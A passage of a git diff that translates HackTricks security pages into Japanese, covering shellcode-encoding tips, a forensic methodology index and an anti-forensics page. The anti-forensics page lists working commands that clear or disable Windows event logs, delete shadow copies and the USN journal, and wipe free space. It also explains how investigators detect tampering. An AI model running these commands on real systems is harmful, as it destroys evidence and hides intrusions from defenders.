connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - {% hint style="warning" %} -There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +自己を上書きするシェルコードが存在するため、シェルコードの前に常にいくつかのNOPを追加することが重要です。 {% endhint %} -## Improving the shellcode - -Add this parameters: +## シェルコードの改善 +以下のパラメータを追加してください: ``` EXITFUNC=thread -e x86/shikata_ga_nai ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有する**には、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
diff --git a/forensics/basic-forensic-methodology/README.md b/forensics/basic-forensic-methodology/README.md index 94847f335..56bb3cd0c 100644 --- a/forensics/basic-forensic-methodology/README.md +++ b/forensics/basic-forensic-methodology/README.md @@ -1,40 +1,40 @@ -# Basic Forensic Methodology +# 基本的な法的調査手法
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Creating and Mounting an Image +## イメージの作成とマウント {% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md" %} [image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md) {% endcontent-ref %} -## Malware Analysis +## マルウェア解析 -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +これは**イメージを取得した後に実行する最初のステップではありません**が、ファイル、ファイルシステムイメージ、メモリイメージ、pcapなどがある場合には、独立してこのマルウェア解析手法を使用できるため、**これらのアクションを心に留めておく**ことが良いでしょう。 {% content-ref url="malware-analysis.md" %} [malware-analysis.md](malware-analysis.md) {% endcontent-ref %} -## Inspecting an Image +## イメージの検査 -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +デバイスの**法的イメージ**が与えられた場合、パーティション、使用されている**ファイルシステム**を分析し、潜在的に**興味深いファイル**(削除されたものも含む)を**回復**することができます。次の方法を学びましょう。 {% content-ref url="partitions-file-systems-carving/" %} [partitions-file-systems-carving](partitions-file-systems-carving/) {% endcontent-ref %} -Depending on the used OSs and even platform different interesting artifacts should be searched: +使用されているOSやプラットフォームによって、異なる興味深いアーティファクトを検索する必要があります。 {% content-ref url="windows-forensics/" %} [windows-forensics](windows-forensics/) @@ -48,42 +48,41 @@ Depending on the used OSs and even platform different interesting artifacts shou [docker-forensics.md](docker-forensics.md) {% endcontent-ref %} -## Deep inspection of specific file-types and Software +## 特定のファイルタイプとソフトウェアの詳細な検査 -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +非常に**疑わしいファイル**がある場合、**ファイルタイプと作成したソフトウェア**によっては、いくつかの**トリック**が役立つ場合があります。興味深いトリックを学ぶために、次のページを読んでください。 {% content-ref url="specific-software-file-type-tricks/" %} [specific-software-file-type-tricks](specific-software-file-type-tricks/) {% endcontent-ref %} -I want to do a special mention to the page: +特に以下のページに特別な言及をしたいと思います。 {% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %} [browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md) {% endcontent-ref %} -## Memory Dump Inspection +## メモリダンプの検査 {% content-ref url="memory-dump-analysis/" %} [memory-dump-analysis](memory-dump-analysis/) {% endcontent-ref %} -## Pcap Inspection +## Pcapの検査 {% content-ref url="pcap-inspection/" %} [pcap-inspection](pcap-inspection/) {% endcontent-ref %} -## **Anti-Forensic Techniques** +## **アンチフォレンジックテクニック** -Keep in mind the possible use of anti-forensic techniques: +アンチフォレンジックテクニックの使用を考慮してください。 {% content-ref url="anti-forensic-techniques.md" %} [anti-forensic-techniques.md](anti-forensic-techniques.md) {% endcontent-ref %} -## Threat Hunting +## 脅威ハンティング {% content-ref url="file-integrity-monitoring.md" %} [file-integrity-monitoring.md](file-integrity-monitoring.md) @@ -93,10 +92,10 @@ Keep in mind the possible use of anti-forensic techniques: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/forensics/basic-forensic-methodology/anti-forensic-techniques.md index a3f661009..458721aa9 100644 --- a/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,172 +1,166 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Timestamps +# タイムスタンプ -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` __ and __ `$FILE_NAME`. +攻撃者は、検出を回避するためにファイルのタイムスタンプを変更することに興味を持つかもしれません。\ +MFT内の属性`$STANDARD_INFORMATION`と`$FILE_NAME`には、タイムスタンプが含まれています。 -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +両方の属性には、**変更**、**アクセス**、**作成**、および**MFTレジストリの変更**(MACEまたはMACB)の4つのタイムスタンプがあります。 -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. +**Windowsエクスプローラ**や他のツールは、**`$STANDARD_INFORMATION`**の情報を表示します。 -## TimeStomp - Anti-forensic Tool +## TimeStomp - アンチフォレンジックツール -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +このツールは、**`$STANDARD_INFORMATION`**内のタイムスタンプ情報を**変更**しますが、**`$FILE_NAME`**内の情報は変更しません。したがって、**不審な活動**を**特定**することができます。 ## Usnjrnl -The **USN Journal** (Update Sequence Number Journal), or Change Journal, is a feature of the Windows NT file system (NTFS) that **maintains a record of changes made to the volume**.\ -It's possible to use the tool [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) to search for modifications to this record. +**USNジャーナル**(Update Sequence Number Journal)または変更ジャーナルは、Windows NTファイルシステム(NTFS)の機能であり、**ボリュームへの変更の記録を保持**します。\ +このレコードの変更を検索するために、[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)というツールを使用することができます。 ![](<../../.gitbook/assets/image (449).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +前の画像は、ツールによって表示される**出力**で、いくつかの**変更がファイルに行われた**ことがわかります。 ## $LogFile -All metadata changes to a file system are logged to ensure the consistent recovery of critical file system structures after a system crash. This is called [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead\_logging).\ -The logged metadata is stored in a file called “**$LogFile**”, which is found in a root directory of an NTFS file system.\ -It's possible to use tools like [LogFileParser](https://github.com/jschicht/LogFileParser) to parse this file and find changes. +ファイルシステムのすべてのメタデータの変更は、システムクラッシュ後の重要なファイルシステム構造の一貫した回復を保証するためにログに記録されます。これは[write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead\_logging)と呼ばれます。\ +記録されたメタデータは、「**$LogFile**」という名前のファイルに格納されており、NTFSファイルシステムのルートディレクトリにあります。\ +[LogFileParser](https://github.com/jschicht/LogFileParser)などのツールを使用して、このファイルを解析し、変更を見つけることができます。 ![](<../../.gitbook/assets/image (450).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +ツールの出力でも、**いくつかの変更が行われた**ことがわかります。 -Using the same tool it's possible to identify to **which time the timestamps were modified**: +同じツールを使用して、**タイムスタンプが変更された時刻**を特定することもできます。 ![](<../../.gitbook/assets/image (451).png>) -* CTIME: File's creation time -* ATIME: File's modification time -* MTIME: File's MFT registry modification -* RTIME: File's access time +* CTIME:ファイルの作成時刻 +* ATIME:ファイルの変更時刻 +* MTIME:ファイルのMFTレジストリの変更時刻 +* RTIME:ファイルのアクセス時刻 -## `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +## `$STANDARD_INFORMATION`と`$FILE_NAME`の比較 -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +変更されたファイルを特定する別の方法は、両方の属性の時間を比較し、**不一致**を探すことです。 -## Nanoseconds +## ナノ秒 -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +**NTFS**のタイムスタンプは、**100ナノ秒**の精度を持ちます。そのため、2010-10-10 10:10:**00.000:0000**のようなタイムスタンプを持つファイルは非常に不審です。 -## SetMace - Anti-forensic Tool +## SetMace - アンチフォレンジックツール -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +このツールは、`$STARNDAR_INFORMATION`と`$FILE_NAME`の両方の属性を変更することができます。ただし、Windows Vista以降では、ライブOSがこの情報を変更するために必要です。 -# Data Hiding +# データの隠蔽 -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +NFTSはクラスタと最小情報サイズを使用します。つまり、ファイルが1つのクラスタと半分を使用している場合、**残りの半分はファイルが削除されるまで使用されません**。そのため、このスラックスペースにデータを**隠すことができます**。 -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +このような「隠された」スペースにデータを隠すことができるslackerなどのツールがあります。ただし、`$logfile`と`$usnjrnl`の分析によって、データが追加されたことがわかる場合があります。 ![](<../../.gitbook/assets/image (452).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +その後、FTK Imagerなどのツールを使用してスラックスペースを取得することができます。この種のツールは、コンテンツを曖昧化したり、暗号化したりすることができます。 # UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +これは、USBポートに変更が検出された場合にコンピューターを**シャットダウンするツール**です。\ +これを発見する方法は、実行中のプロセスを調査し、**実行中の各Pythonスクリプトを確認する**ことです。 -# Live Linux Distributions +# Live Linuxディストリビューション -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. - -# Secure Deletion +これらのディストリビューションは、**RAMメモリ内で実行**されます。NTFSファイルシステムが書き込み権限でマウントされている場合にのみ、これらを検出することができます。読み取り権限のみでマウントされている場合、侵入を検出することはできません。 +# 安全な削除 [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -# Windows Configuration +# Windowsの設定 -It's possible to disable several windows logging methods to make the forensics investigation much harder. +フォレンジック調査を困難にするために、いくつかのWindowsのログ記録方法を無効にすることができます。 -## Disable Timestamps - UserAssist +## タイムスタンプの無効化 - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +これは、ユーザーが実行した各実行可能ファイルの日付と時間を保持するレジストリキーです。 -Disabling UserAssist requires two steps: +UserAssistを無効にするには、2つのステップが必要です。 -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`と`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`の2つのレジストリキーを0に設定して、UserAssistを無効にすることを示します。 +2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`のようなレジストリのサブツリーをクリアします。 -## Disable Timestamps - Prefetch +## タイムスタンプの無効化 - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +これは、Windowsシステムのパフォーマンスを向上させるために実行されたアプリケーションに関する情報を保存します。ただし、これはフォレンジックの実践にも役立ちます。 -* Execute `regedit` -* Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -* Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -* Select Modify on each of these to change the value from 1 (or 3) to 0 -* Restart +* `regedit`を実行します。 +* ファイルパス`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`を選択します。 +* `EnablePrefetcher`と`EnableSuperfetch`の両方を右クリックし、値を1(または3)から0に変更します。 +* 再起動します。 -## Disable Timestamps - Last Access Time +## タイムスタンプの無効化 - 最終アクセス時刻 -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +Windows NTサーバーのNTFSボリュームからフォルダが開かれるたびに、システムはリストされた各フォルダのタイムスタンプフィールドである最終アクセス時刻を更新します。使用頻度の高いNTFSボリュームでは、これがパフォーマンスに影響する可能性があります。 -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +1. レジストリエディタ(Regedit.exe)を開きます。 +2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`に移動します。 +3. `NtfsDisableLastAccessUpdate`を探します。存在しない場合は、このDWORDを追加し、値を1に設定してプロセスを無効にします。 +4. レジストリエディタを閉じ、サーバーを再起動します。 -## Delete USB History +## USBの履歴を削除する -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) to be sure you have deleted them (and to delete them). +すべての**USBデバイスエントリ**は、PCまたはノートパソコンにUSBデバイスを接続するたびに作成されるサブキーを含む**USBSTOR**レジストリキーの下に保存されます。このキーは`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`にあります。これを削除すると、USBの履歴が削除されます。\ +また、USBに関する情報を保存する別のファイルは、`C:\Windows\INF`内の`setupapi.dev.log`です。これも削除する必要があります。 -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +## シャドウコピーの無効化 -## Disable Shadow Copies +シャドウコピーを**リスト**するには、`vssadmin list shadowstorage`を実行します。\ +シャドウコピーを**削除**するには、`vssadmin delete shadow`を実行します。 -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +また、[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)で提案された手順に従ってGUIからも削除できます。 -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +シャドウコピーを無効にするには: -To disable shadow copies: - -1. Go to the Windows start button and type "services" into the text search box; open the Services program. -2. Locate "Volume Shadow Copy" from the list, highlight it, and then right-click > Properties. -3. From the "Startup type" drop-down menu, select Disabled, and then click Apply and OK. +1. Windowsのスタートボタンに移動し、「services」と入力してテキスト検索ボックスに入力します。Servicesプログラムを開きます。 +2. リストから「Volume Shadow Copy」を見つけ、ハイライトして右クリックし、「プロパティ」を選択します。 +3. 「起動の種類」のドロップダウンメニューから「無効」を選択し、適用してOKをクリックします。 ![](<../../.gitbook/assets/image (453).png>) -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +シャドウコピーでコピーされるファイルの構成も、レジストリ`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`で変更することができます。 -## Overwrite deleted files +## 削除されたファイルの上書き -* You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -* You can also use tools like [**Eraser**](https://eraser.heidi.ie) +* **Windowsツール**を使用することができます:`cipher /w:C`これにより、cipherにCドライブ内の使用可能な未使用ディスク領域からデータを削除するよう指示します。 +* [**Eraser**](https://eraser.heidi.ie)のようなツールも使用できます。 -## Delete Windows event logs +## Windowsイベントログの削除 -* Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +* Windows + R --> eventvwr.msc --> 「Windowsログ」を展開 --> 各カテゴリを右クリックし、「ログをクリア」を選択します。 * `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` * `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -## Disable Windows event logs +## Windowsイベントログの無効化 * `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -* Inside the services section disable the service "Windows Event Log" -* `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +* サービスセクション内で「Windowsイベントログ」サービスを無効にします。 +* `WEvtUtil.exec clear-log`または`WEvtUtil.exe cl` -## Disable $UsnJrnl +## $UsnJrnlの無効化 * `fsutil usn deletejournal /d c:` @@ -175,16 +169,14 @@ It's also possible to modify the configuration of which files are going to be co ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/forensics/basic-forensic-methodology/docker-forensics.md b/forensics/basic-forensic-methodology/docker-forensics.md index ed5c55c31..3f19c6f1d 100644 --- a/forensics/basic-forensic-methodology/docker-forensics.md +++ b/forensics/basic-forensic-methodology/docker-forensics.md @@ -1,33 +1,30 @@ -# Docker Forensics +# Dockerフォレンジック
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- 